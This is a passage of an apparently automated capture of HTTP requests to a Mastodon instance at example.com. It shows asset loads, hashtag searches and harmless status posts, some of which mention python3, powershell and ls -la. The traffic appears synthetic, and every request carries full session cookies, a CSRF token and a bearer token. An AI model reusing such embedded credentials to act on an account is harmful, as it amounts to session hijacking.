_mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/display_name-BHmLvgU_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/scroll_container-DTFJ2dtn.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/ImmutablePropTypes-C_rOJ6cM.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/useTimeout-B7x_fFEH.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 245", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 86d81d8d-702d-4103-8139-1baf4493975d", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": "{\"status\":\"Morning walk by the river, then coffee with friends.\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=py&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=python3&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 9f1fa73d-51ee-44b6-adde-9ba9f7187fd2", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": "{\"status\":\"Notes on python3, powershell, ls -la and .htaccess #python3\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 320", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 3aa2d4fa-eefb-40b2-bf47-9d5b0160c003", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=j5QNf8MwXjO4vRdhMy38ES6HifRgyZpzJdPO7ITgaVYWqzZ0prC9nbRvI1maZ%2BQCG6puk35zZmTryfjpGGH7cKdK4pwr5I8ceLVBeNgjxFISlHtNQl0Rf9celIwmOymnzVcq60MnwgkZ2Pe4Nn3sEYbaOw3eDgBWGyl6HDzbB9zda0wZQqckmNz1LUtZ3iG241Tw7RNEwg3cpjWfP%2ByZ8U0hI%2FPMvK0rnHtXHrm9YyS4WxbWP%2FjCVrCokq3T8RjreDMojK6vGuDpVG%2FrNnMchNWCiFpbQlTLmPvJEmc0GSBSXuwy0LZ7Fgt1d157ZLV0Lu%2FDeqrS1xaek58wD7auPH1ZH0XXnY61I3x8lrwzPRrL6DKrklspZQqwXb4pQzwXLCFW0GQtE1Hk--4dD4L1a1wXIs8qqW--pUVSMwKxt4sifcIpfbha%2Bg%3D%3D"], "body": "{\"status\":\"Today I learned: `ls -la ~/.config` lists hidden files, and `python3 -m http.server` serves a folder. https://example.org/notes\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: f40781e3-7fa4-4aaa-8ec5-8323c4da1419", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=q89PV6HkeyvwYWK4N%2BiY4rwmw1DGDpXAl15dWM6RMnEcKawEiVbqcodZTS6LF5gz%2FLREXCNuzr0G1GSHEz93RxmIrmEzI3t9sPtKbRctmfxblcHdmvVZiLN8x%2Fr9iV8nV0KMv9eR%2Fwb%2BCAezozoZSh35w4VPcTQbQH9XSTtOHugCE5a%2BACR1omfoL0tj%2BxDovqRvY%2FkU5SyOgei8tAdvpHuvsc2BQJjeFQwOc%2BvAa4o4W49cIsKgfD2u1zevwjJv3OiDdYgxLJBskmEU3bCHMrPSX1kyTpvNp6P2CfoEF07QN93vko57t2rtbdXMnwuhBPtFjIOarBzfHB1pdcfe3DkUMkqCNCXc8JUTcSf35yOqxLKn6buRHKuYemZ09NuGaILMgCjJHcj3--6pPwPxYT88WOed%2BI--wxoNWJbXlmTow3urjXt2LQ%3D%3D"], "body": "{\"status\":\"Spoilers about the python3 talk\",\"spoiler_text\":\"powershell spoilers\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
